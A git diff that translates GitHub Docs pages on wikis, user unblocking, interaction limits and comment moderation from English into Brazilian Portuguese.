-Wikis use [our open-source Markup library](https://github.com/github/markup) to convert the markup, and it determines which converter to use by a file's extension. For example, if you name a file *foo.md* or *foo.markdown*, wiki will use the Markdown converter, while a file named *foo.textile* will use the Textile converter.
+Os wikis usam [nossa biblioteca de markup de código aberto](https://github.com/github/markup) para converter o markup e determinam qual conversor usar pela extensão de um arquivo. Por exemplo, se o nome de um arquivo for *foo.md* ou *foo.markdown*, o wiki usará o conversor Markdown, enquanto em um arquivo chamado *foo.textile*, ele usará o conversor Textile.
 
-Don't use the following characters in your wiki page's titles: `\ / : * ? " < > |`. Users on certain operating systems won't be able to work with filenames containing these characters. Be sure to write your content using a markup language that matches the extension, or your content won't render properly.
+Não use os seguintes caracteres nos títulos da sua página wiki: `\ / : * ? " < > |`. Os usuários em determinados sistemas operacionais não poderão trabalhar com nomes de arquivo contendo esses caracteres. Certifique-se de escrever seu conteúdo usando uma linguagem markup que corresponda à extensão, ou o conteúdo não será renderizado adequadamente.
diff --git a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
index 06192a9266..c3a66af748 100644
--- a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
+++ b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a footer or sidebar for your wiki
-intro: You can add a custom sidebar or footer to your wiki to provide readers with more contextual information.
+title: Criar rodapé ou barra lateral no wiki
+intro: Você pode adicionar uma barra lateral ou um footer personalizado para seu wiki a fim de fornecer aos leitores informações mais contextuais.
 redirect_from:
   - /articles/creating-a-footer
   - /articles/creating-a-sidebar
@@ -14,33 +14,27 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Create footer or sidebar
+shortTitle: Criar rodapé ou barra lateral
 ---
 
-## Creating a footer
+## Criar um footer
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. At the bottom of the page, click **Add a custom footer**.
-  ![Wiki add footer section](/assets/images/help/wiki/wiki_add_footer.png)
-4. Use the text editor to type the content you want your footer to have.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki-footer.png)
-5. Enter a commit message describing the footer you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-6. To commit your changes to the wiki, click **Save Page**.
+3. Na parte inferior da página, clique em **Add a custom footer** (Adicionar um footer personalizado). ![Seção wiki e footer](/assets/images/help/wiki/wiki_add_footer.png)
+4. Use o editor de texto para digitar o conteúdo que deseja ter no footer. ![WYSIWYG do wiki](/assets/images/help/wiki/wiki-footer.png)
+5. Insira uma mensagem do commit descrevendo o footer que você está adicionando. ![Mensagem do commit do wiki](/assets/images/help/wiki/wiki_commit_message.png)
+6. Para fazer commit das alterações no wiki, clique em **Save Page** (Salvar página).
 
-## Creating a sidebar
+## Criar uma barra lateral
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. Click **Add a custom sidebar**.
-  ![Wiki add sidebar section](/assets/images/help/wiki/wiki_add_sidebar.png)
-4. Use the text editor to add your page's content.
-  ![Wiki WYSIWYG](/assets/images/help/wiki/wiki-sidebar.png)
-5. Enter a commit message describing the sidebar you’re adding.
-  ![Wiki commit message](/assets/images/help/wiki/wiki_commit_message.png)
-6. To commit your changes to the wiki, click **Save Page**.
+3. Clique em **Add a custom sidebar** (Adicionar uma barra lateral personalizada). ![Seção de adição da barra lateral do wiki](/assets/images/help/wiki/wiki_add_sidebar.png)
+4. Use o editor de texto para adicionar o conteúdo da página. ![WYSIWYG do wiki](/assets/images/help/wiki/wiki-sidebar.png)
+5. Insira uma mensagem do commit descrevendo a barra lateral que você está adicionando. ![Mensagem do commit do wiki](/assets/images/help/wiki/wiki_commit_message.png)
+6. Para fazer commit das alterações no wiki, clique em **Save Page** (Salvar página).
 
-## Creating a footer or sidebar locally
+## Criar um footer ou uma barra lateral localmente
 
-If you create a file named `_Footer.<extension>` or `_Sidebar.<extension>`, we'll use them to populate the footer and sidebar of your wiki, respectively. Like every other wiki page, the extension you choose for these files determines how we render them.
+Se você criar um arquivo chamado `_Footer.<extension>` ou `_Sidebar.<extension>`, nós os usaremos para preencher o footer e a barra lateral do wiki, respectivamente. Assim como qualquer outra página do wiki, a extensão que você escolhe para esses arquivos determina como nós os renderizaremos.
diff --git a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
index c132ba8340..6acffb1279 100644
--- a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
+++ b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md
@@ -1,6 +1,6 @@
 ---
-title: Editing wiki content
-intro: 'You can add images and links to content in your wiki, and use some supported MediaWiki formats.'
+title: Editar conteúdo de wiki
+intro: Você pode adicionar imagens e links no conteúdo do seu wiki e usar alguns formatos do MediaWiki compatíveis.
 redirect_from:
   - /articles/adding-links-to-wikis
   - /articles/how-do-i-add-links-to-my-wiki
@@ -21,40 +21,39 @@ topics:
   - Community
 ---
 
-## Adding links
+## Adicionar links
 
-You can create links in wikis using the standard markup supported by your page, or using MediaWiki syntax. For example:
+Você pode criar links em wikis usando markup padrão compatível para sua página ou usando sintaxe do MediaWiki. Por exemplo:
 
-- If your pages are rendered with Markdown, the link syntax is `[Link Text](full-URL-of-wiki-page)`.
-- With MediaWiki syntax, the link syntax is `[[Link Text|nameofwikipage]]`.
+- Em páginas renderizadas com Markdown, a sintaxe do link é `[Link Text](full-URL-of-wiki-page)`.
+- Com a sintaxe do MediaWiki, a sintaxe do link é `[[Link Text|nameofwikipage]]`.
 
-## Adding images
+## Adicionar imagens
 
-Wikis can display PNG, JPEG, and GIF images.
+Os wikis podem exibir imagens em PNG, JPEG e GIF.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-wiki %}
-3. Using the wiki sidebar, navigate to the page you want to change, and then click **Edit**.
-4. On the wiki toolbar, click **Image**.
-   ![Wiki Add image button](/assets/images/help/wiki/wiki_add_image.png)
-5. In the "Insert Image" dialog box, type the image URL and the alt text (which is used by search engines and screen readers).
-6. Click **OK**.
+3. Usando a barra lateral de wikis, navegue até a página que deseja alterar e clique em **Edit** (Editar).
+4. Na barra de ferramentas de wikis, clique em **Image** (Imagem). ![Imagem do botão Wiki Add (Adição de wiki)](/assets/images/help/wiki/wiki_add_image.png)
+5. Na caixa de diálogo "Insert Image" (Inserir imagem), digite a URL da imagem e o texto alt (que é usado por mecanismos de pesquisa e leitores de tela).
+6. Clique em **OK**.
 
-### Linking to images in a repository
+### Vincular a imagens em um repositório
 
-You can link to an image in a repository on {% data variables.product.product_name %} by copying the URL in your browser and using that as the path to the image. For example, embedding an image in your wiki using Markdown might look like this:
+Para vincular a uma imagem em um repositório no {% data variables.product.product_name %}, copie a URL no navegador e use-a como caminho para a imagem. Por exemplo, a incorporação de uma imagem no wiki usando Markdown pode ter esta aparência:
 
     [[https://github.com/USERNAME/REPOSITORY/blob/main/img/octocat.png|alt=octocat]]
 
-## Supported MediaWiki formats
+## Formatos do MediaWiki compatíveis
 
-No matter which markup language your wiki page is written in, certain MediaWiki syntax will always be available to you.
-- Links ([except Asciidoc](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b))
-- Horizontal rules via `---`
-- Shorthand symbol entities (such as `&delta;` or `&euro;`)
+Seja qual for a linguagem de marcação em que sua página wiki foi escrita, sempre haverá uma sintaxe do MediaWiki disponível para você.
+- Links ([exceto Asciidoc](https://github.com/gollum/gollum/commit/d1cf698b456cd6a35a54c6a8e7b41d3068acec3b))
+- Regras horizontais via `---`
+- Entidades de símbolo abreviadas (como `&delta;` ou `&euro;`)
 
-For security and performance reasons, some syntaxes are unsupported.
-- [Transclusion](https://www.mediawiki.org/wiki/Transclusion)
-- Definition lists
-- Indentation
-- Table of contents
+Por motivos de segurança e desempenho, algumas sintaxes não são compatíveis.
+- [Transclusão](https://www.mediawiki.org/wiki/Transclusion)
+- Listas de definições
+- Indentação
+- Índice
diff --git a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/index.md b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/index.md
index fbec09d8fc..29c323f4b4 100644
--- a/translations/pt-BR/content/communities/documenting-your-project-with-wikis/index.md
+++ b/translations/pt-BR/content/communities/documenting-your-project-with-wikis/index.md
@@ -1,7 +1,7 @@
 ---
-title: Documenting your project with wikis
-shortTitle: Using wikis
-intro: 'You can use a wiki to share detailed, long-form information about your project.'
+title: Documentar seu projeto com wikis
+shortTitle: Usando wikis
+intro: Você pode usar um wiki para compartilhar informações longas e detalhadas sobre seu projeto.
 redirect_from:
   - /categories/49/articles
   - /categories/wiki
diff --git a/translations/pt-BR/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/pt-BR/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
index 9d91fc58fd..8e9783171b 100644
--- a/translations/pt-BR/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
+++ b/translations/pt-BR/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Unblocking a user from your organization
-intro: 'Organization owners can unblock a user who was previously blocked, restoring their access to the organization''s repositories.'
+title: Desbloquear usuários da organização
+intro: 'Os proprietários da organização podem desbloquear um usuário que tenha sido bloqueado anteriormente, restaurando o acesso dele aos repositórios da organização.'
 redirect_from:
   - /articles/unblocking-a-user-from-your-organization
   - /github/building-a-strong-community/unblocking-a-user-from-your-organization
@@ -9,38 +9,36 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Unblock from your org
+shortTitle: Desbloquear a partir do seu org
 ---
 
-After unblocking a user from your organization, they'll be able to contribute to your organization's repositories.
+O desbloqueio de um usuário da organização permite que ele continue contribuindo para os repositórios da organização.
 
-If you selected a specific amount of time to block the user, they will be automatically unblocked when that period of time ends. For more information, see "[Blocking a user from your organization](/articles/blocking-a-user-from-your-organization)."
+Se você tiver selecionado uma duração para o bloqueio do usuário, ele será automaticamente desbloqueado quando esse tempo acabar. Para obter mais informações, consulte "[Bloquear um usuário em sua organização](/articles/blocking-a-user-from-your-organization)".
 
 {% tip %}
 
-**Tip**: Any settings that were removed when you blocked the user from your organization, such as collaborator status, stars, and watches, will not be restored when you unblock the user.
+**Dica**: as configurações que tenham sido removidas durante o bloqueio do usuário na organização (como status de colaborador, estrelas e inspeções) não são restauradas quando você desbloqueia o usuário.
 
 {% endtip %}
 
-## Unblocking a user in a comment
+## Desbloquear usuários em um comentário
 
-1. Navigate to the comment whose author you would like to unblock.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Unblock user**.
-![The horizontal kebab icon and comment moderation menu showing the unblock user option](/assets/images/help/repository/comment-menu-unblock-user.png)
-3. To confirm you would like to unblock the user, click **Okay**.
+1. Navegue até o comentário cujo autor você deseja desbloquear.
+2. No canto superior direito do comentário, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e depois em **Unblock user** (Desbloquear usuário). ![Ícone horizontal kebab e menu comment moderation (moderação de comentários) mostrando a opção unblock user (desbloquear usuário)](/assets/images/help/repository/comment-menu-unblock-user.png)
+3. Para confirmar que você deseja desbloquear o usuário, clique em **OK**.
 
-## Unblocking a user in the organization settings
+## Desbloquear usuários nas configurações da organização
 
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.moderation-settings %}
-5. Under "Blocked users", next to the user you'd like to unblock, click **Unblock**.
-![Unblock user button](/assets/images/help/organizations/org-unblock-user-button.png)
+5. Em "Blocked users" (Usuários bloqueados), clique em **Unblock** (Desbloquear) próximo ao usuário que deseja desbloquear. ![Botão Unblock user (Desbloquear usuário)](/assets/images/help/organizations/org-unblock-user-button.png)
 
-## Further reading
+## Leia mais
 
-- "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)"
-- "[Blocking a user from your personal account](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)"
-- "[Unblocking a user from your personal account](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)"
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- "[Bloquear usuários da organização](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)"
+- "[Bloquear usuários da sua conta pessoal](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account)"
+- "[Desbloquear usuários da sua conta pessoal](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-personal-account)"
+- "[Denunciar abuso ou spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
diff --git a/translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md b/translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
index bfd7c24b47..d6977d6803 100644
--- a/translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
+++ b/translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Limiting interactions in your organization
-intro: You can temporarily enforce a period of limited activity for certain users in all public repositories owned by your organization.
+title: Restringir interações na organização
+intro: É possível aplicar temporariamente um período de atividade limitada para determinados usuários em todos os repositórios públicos pertencentes à sua organização.
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/limiting-interactions-in-your-organization
   - /articles/limiting-interactions-in-your-organization
@@ -11,37 +11,35 @@ versions:
 permissions: Organization owners can limit interactions in an organization.
 topics:
   - Community
-shortTitle: Limit interactions in org
+shortTitle: Limitar interações no org
 ---
 
-## About temporary interaction limits
+## Sobre limites temporários de interação
 
-Limiting interactions in your organization enables temporary interaction limits for all public repositories owned by the organization. {% data reusables.community.interaction-limits-restrictions %}
+O limite de interações na organização habilita limites de interação temporária para todos os repositórios públicos pertencentes à organização. {% data reusables.community.interaction-limits-restrictions %}
 
-{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your organization's public repositories.
+{% data reusables.community.interaction-limits-duration %} Após a duração do seu limite passar, os usuários podem retomar a atividade normal nos repositórios públicos da sua organização.
 
 {% data reusables.community.types-of-interaction-limits %}
 
-Members of the organization are not affected by any of the limit types.
+Os integrantes da organização não são afetados por nenhum dos tipos de limite.
 
-When you enable organization-wide activity limitations, you can't enable or disable interaction limits on individual repositories. For more information on limiting activity for an individual repository, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
+Quando você habilita restrições de atividades para toda a organização, você não pode habilitar ou desabilitar restrições de interação em repositórios individuais. Para obter mais informações sobre limitação de atividade para um repositório individual, consulte "[Limitar interações no repositório](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)".
 
-Organization owners can also block users for a specific amount of time. After the block expires, the user is automatically unblocked. For more information, see "[Blocking a user from your organization](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)."
+Os proprietários da organização também podem bloquear os usuários por um determinado período de tempo. Após o término do bloqueio, o usuário é automaticamente desbloqueado. Para obter mais informações, consulte "[Bloquear um usuário em sua organização](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization)".
 
-## Limiting interactions in your organization
+## Restringir interações na organização
 
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-1. In the organization settings sidebar, click **Moderation settings**.
-  !["Moderation settings" in the organization settings sidebar](/assets/images/help/organizations/org-settings-moderation-settings.png)
-1. Under "Moderation settings", click **Interaction limits**.
-  !["Interaction limits" in the organization settings sidebar](/assets/images/help/organizations/org-settings-interaction-limits.png)
+1. Na barra lateral de configurações da organização, clique em **Configurações de moderação**. !["Configurações de moderação" na barra lateral das configurações da organização](/assets/images/help/organizations/org-settings-moderation-settings.png)
+1. Em "Configurações de moderação", clique em **Limites de interação**. !["Limites de interação" na barra lateral de configurações da organização](/assets/images/help/organizations/org-settings-interaction-limits.png)
 {% data reusables.community.set-interaction-limit %}
-  ![Temporary interaction limit options](/assets/images/help/organizations/organization-temporary-interaction-limits-options.png)
+  ![Opções Temporary interaction limit (Restrições de interação temporárias)](/assets/images/help/organizations/organization-temporary-interaction-limits-options.png)
 
-## Further reading
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)"
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+## Leia mais
+- "[Denunciar abuso ou spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- "[Gerenciar o acesso de um indivíduo a um repositório da organização](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+- "[Níveis de permissão do repositório de conta de usuário](/articles/permission-levels-for-a-user-account-repository)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md b/translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
index d2c37ba9c1..dd7562e22f 100644
--- a/translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
+++ b/translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Limiting interactions in your repository
-intro: You can temporarily enforce a period of limited activity for certain users on a public repository.
+title: Restringir interações no repositório
+intro: É possível aplicar temporariamente um período de atividades limitadas para certos usuários em um repositório público.
 redirect_from:
   - /articles/limiting-interactions-with-your-repository
   - /articles/limiting-interactions-in-your-repository
@@ -11,32 +11,30 @@ versions:
 permissions: People with admin permissions to a repository can temporarily limit interactions in that repository.
 topics:
   - Community
-shortTitle: Limit interactions in repo
+shortTitle: Limitar interações no repositório
 ---
 
-## About temporary interaction limits
+## Sobre limites temporários de interação
 
 {% data reusables.community.interaction-limits-restrictions %}
 
-{% data reusables.community.interaction-limits-duration %} After the duration of your limit passes, users can resume normal activity in your repository.
+{% data reusables.community.interaction-limits-duration %} Após a duração do seu limite, os usuários podem retomar à atividade normal no seu repositório.
 
 {% data reusables.community.types-of-interaction-limits %}
 
-You can also enable activity limitations on all repositories owned by your user account or an organization. If a user-wide or organization-wide limit is enabled, you can't limit activity for individual repositories owned by the account. For more information, see "[Limiting interactions for your user account](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)" and "[Limiting interactions in your organization](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)."
+Você também pode habilitar limitações de atividade em todos os repositórios pertencentes à sua conta de usuário ou organização. Se o limite de um usuário ou organização estiver habilitado, não será possível limitar a atividade para repositórios individuais pertencentes à conta. Para obter mais informações, consulte "[Limitar interações para a sua conta de usuário](/communities/moderating-comments-and-conversations/limiting-interactions-for-your-user-account)" e "[Limitar interações na sua organização](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization)".
 
-## Limiting interactions in your repository
+## Restringir interações no repositório
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-1. In the left sidebar, click **Moderation settings**.
-  !["Moderation settings" in repository settings sidebar](/assets/images/help/repository/repo-settings-moderation-settings.png)
-1. Under "Moderation settings", click **Interaction limits**.
-  ![Interaction limits in repository settings ](/assets/images/help/repository/repo-settings-interaction-limits.png)
+1. Na barra lateral esquerda, clique em **Configurações de moderação**. !["Configurações de moderação" na barra lateral de configurações do repositório](/assets/images/help/repository/repo-settings-moderation-settings.png)
+1. Em "Configurações de moderação", clique em **Limites de interação**. ![Interaction limits (Restrições de interação) em Settings (Configurações) do repositório ](/assets/images/help/repository/repo-settings-interaction-limits.png)
 {% data reusables.community.set-interaction-limit %}
-  ![Temporary interaction limit options](/assets/images/help/repository/temporary-interaction-limits-options.png)
+  ![Opções Temporary interaction limit (Restrições de interação temporárias)](/assets/images/help/repository/temporary-interaction-limits-options.png)
 
-## Further reading
-- "[Reporting abuse or spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
-- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
-- "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository)"
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+## Leia mais
+- "[Denunciar abuso ou spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam)"
+- "[Gerenciar o acesso de um indivíduo a um repositório da organização](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+- "[Níveis de permissão do repositório de conta de usuário](/articles/permission-levels-for-a-user-account-repository)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/pt-BR/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md b/translations/pt-BR/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
index cd8481cdd1..9766f0731a 100644
--- a/translations/pt-BR/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
+++ b/translations/pt-BR/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md
@@ -1,6 +1,6 @@
 ---
-title: Managing disruptive comments
-intro: 'You can {% ifversion fpt or ghec %}hide, edit,{% else %}edit{% endif %} or delete comments on issues, pull requests, and commits.'
+title: Gerenciar comentários conflituosos
+intro: 'Você pode {% ifversion fpt or ghec %}ocultar, editar,{% else %}editar{% endif %} ou excluir comentários sobre problemas, pull request e commits.'
 redirect_from:
   - /articles/editing-a-comment
   - /articles/deleting-a-comment
@@ -13,79 +13,72 @@ versions:
   ghec: '*'
 topics:
   - Community
-shortTitle: Manage comments
+shortTitle: Gerenciar comentários
 ---
 
-## Hiding a comment
+## Ocultar um comentário
 
-Anyone with write access to a repository can hide comments on issues, pull requests, and commits.
+Qualquer pessoa com acesso de gravação em um repositório podem ocultar comentários sobre problemas, pull requests e commits.
 
-If a comment is off-topic, outdated, or resolved, you may want to hide a comment to keep a discussion focused or make a pull request easier to navigate and review. Hidden comments are minimized but people with read access to the repository can expand them.
+Se um comentário não diz respeito ao assunto, está desatualizado ou resolvido, pode ser que você queira ocultar o comentário para manter o foco da discussão ou fazer uma pull request mais simples para navegar e revisar. Comentários ocultos são minimizados, mas as pessoas com acesso de leitura no repositório podem expandi-los.
 
-![Minimized comment](/assets/images/help/repository/hidden-comment.png)
+![Comentário minimizado](/assets/images/help/repository/hidden-comment.png)
 
-1. Navigate to the comment you'd like to hide.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Hide**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete options](/assets/images/help/repository/comment-menu.png)
-3. Using the "Choose a reason" drop-down menu, click a reason to hide the comment. Then click, **Hide comment**.
+1. Navegue até o comentário que deseja ocultar.
+2. No canto superior direito do comentário, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e em **Hide** (Ocultar). ![Ícone horizontal kebab e menu comment moderation (moderação de comentários) mostrando as opções edit, hide, delete (editar, ocultar, excluir)](/assets/images/help/repository/comment-menu.png)
+3. Com o menu suspenso "Choose a reason" (Selecione um motivo), clique em um motivo para ocultar o comentário. Depois clique em **Hide comment** (Ocultar comentário).
   {% ifversion fpt or ghec %}
-  ![Choose reason for hiding comment drop-down menu](/assets/images/help/repository/choose-reason-for-hiding-comment.png)
+  ![Menu suspenso Choose reason for hiding comment (Selecione um motivo para ocultar o comentário)](/assets/images/help/repository/choose-reason-for-hiding-comment.png)
   {% else %}
-  ![Choose reason for hiding comment drop-down menu](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png)
+  ![Menu suspenso Choose reason for hiding comment (Selecione um motivo para ocultar o comentário)](/assets/images/help/repository/choose-reason-for-hiding-comment-ghe.png)
   {% endif %}
 
-## Unhiding a comment
+## Mostrar um comentário
 
-Anyone with write access to a repository can unhide comments on issues, pull requests, and commits.
+Qualquer pessoa com acesso de gravação em um repositório pode reexibir comentários sobre problemas, pull requests e commits.
 
-1. Navigate to the comment you'd like to unhide.
-2. In the upper-right corner of the comment, click **{% octicon "fold" aria-label="The fold icon" %} Show comment**.
-   ![Show comment text](/assets/images/help/repository/hidden-comment-show.png)
-3. On the right side of the expanded comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then **Unhide**.
-   ![The horizontal kebab icon and comment moderation menu showing the edit, unhide, delete options](/assets/images/help/repository/comment-menu-hidden.png)
+1. Navegue até o comentário que deseja mostrar.
+2. No canto superior direito do comentário, clique em **{% octicon "fold" aria-label="The fold icon" %} Show comment** (Mostrar comentário). ![Mostrar texto de comentário](/assets/images/help/repository/hidden-comment-show.png)
+3. No lado direito do comentário expandido, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e **Unhide** (Mostrar). ![Ícone horizontal kebab e menu comment moderation (moderação de comentários) mostrando as opções edit, unhide, delete (editar, mostrar, excluir)](/assets/images/help/repository/comment-menu-hidden.png)
 
-## Editing a comment
+## Editar um comentário
 
-Anyone with write access to a repository can edit comments on issues, pull requests, and commits.
+Qualquer pessoa com acesso de gravação em um repositório pode editar comentários sobre problemas, pull requests e commits.
 
-It's appropriate to edit a comment and remove content that doesn't contribute to the conversation and violates your community's code of conduct{% ifversion fpt or ghec %} or GitHub's [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}.
+Considera-se apropriado editar um comentário e remover o conteúdo que não contribui para a conversa e viole o código de conduta da sua comunidade{% ifversion fpt or ghec %} ou as diretrizes [da Comunidade do GitHub](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}.
 
-When you edit a comment, note the location that the content was removed from and optionally, the reason for removing it.
+Quando editar um comentário, anote a localização de onde o comentário foi removido e, opcionalmente, os motivos para a remoção.
 
-Anyone with read access to a repository can view a comment's edit history. The **edited** dropdown at the top of the comment contains a history of edits showing the user and timestamp for each edit.
+Qualquer pessoa com acesso de leitura em um repositório pode visualizar o histórico de edição do comentário. O menu suspenso **edited** (editado) na parte superior do comentário tem um histório de edições mostrando o usuário e o horário de cada edição.
 
-![Comment with added note that content was redacted](/assets/images/help/repository/content-redacted-comment.png)
+![Comentário com observação adicional que o conteúdo foi redacted (suprimido)](/assets/images/help/repository/content-redacted-comment.png)
 
-Comment authors and anyone with write access to a repository can also delete sensitive information from a comment's edit history. For more information, see "[Tracking changes in a comment](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)."
+Autores do comentário e pessoas com acesso de gravação a um repositório podem excluir informações confidenciais do histórico de edição de um comentário. Para obter mais informações, consulte "[Controlar as alterações em um comentário](/communities/moderating-comments-and-conversations/tracking-changes-in-a-comment)".
 
-1. Navigate to the comment you'd like to edit.
-2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**.
-  ![The horizontal kebab icon and comment moderation menu showing the edit, hide, delete, and report options](/assets/images/help/repository/comment-menu.png)
-3. In the comment window, delete the content you'd like to remove, then type `[REDACTED]` to replace it.
-  ![Comment window with redacted content](/assets/images/help/issues/redacted-content-comment.png)
-4. At the bottom of the comment, type a note indicating that you have edited the comment, and optionally, why you edited the comment.
-  ![Comment window with added note that content was redacted](/assets/images/help/issues/note-content-redacted-comment.png)
-5. Click **Update comment**.
+1. Navegue até o comentário que deseja editar.
+2. No canto superior direito do comentário, clique em{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e em **Edit** (Editar). ![Ícone horizontal kebab e menu comment moderation (moderação de comentários) mostrando as opções edit, hide, delete e report (editar, ocultar, excluir e denunciar)](/assets/images/help/repository/comment-menu.png)
+3. Na janela do comentário, exclua o conteúdo que deseja remover e digite `[REDACTED]` para substitui-lo. ![Janela de comentário com conteúdo redacted (suprimido)](/assets/images/help/issues/redacted-content-comment.png)
+4. Na parte inferior do comentário, digite uma observação indicando que editou o comentário e, opcionalmente, o motivo da edição. ![Janela de comentário com observação adicional que o conteúdo foi redacted (suprimido)](/assets/images/help/issues/note-content-redacted-comment.png)
+5. Clique em **Update comment** (Atualizar comentário).
 
-## Deleting a comment
+## Excluir um comentário
 
-Anyone with write access to a repository can delete comments on issues, pull requests, and commits. Organization owners, team maintainers, and the comment author can also delete a comment on a team page.
+Qualquer pessoa com acesso de gravação em um repositório pode excluir comentários sobre problemas, pull requests e commits. Proprietários de organização, mantenedores de equipes e o autor do comentário também podem excluir um comentário na página da equipe.
 
-Deleting a comment is your last resort as a moderator. It's appropriate to delete a comment if the entire comment adds no constructive content to a conversation and violates your community's code of conduct{% ifversion fpt or ghec %} or GitHub's [Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}.
+Excluir um comentário é o seu último recurso como moderador. É apropriado excluir um comentário se todo o comentário não adicionar conteúdo construtivo a uma conversa e violar o código de conduta da sua comunidade{% ifversion fpt or ghec %} ou [Diretrizes da Comunidade](/free-pro-team@latest/github/site-policy/github-community-guidelines){% endif %}.
 
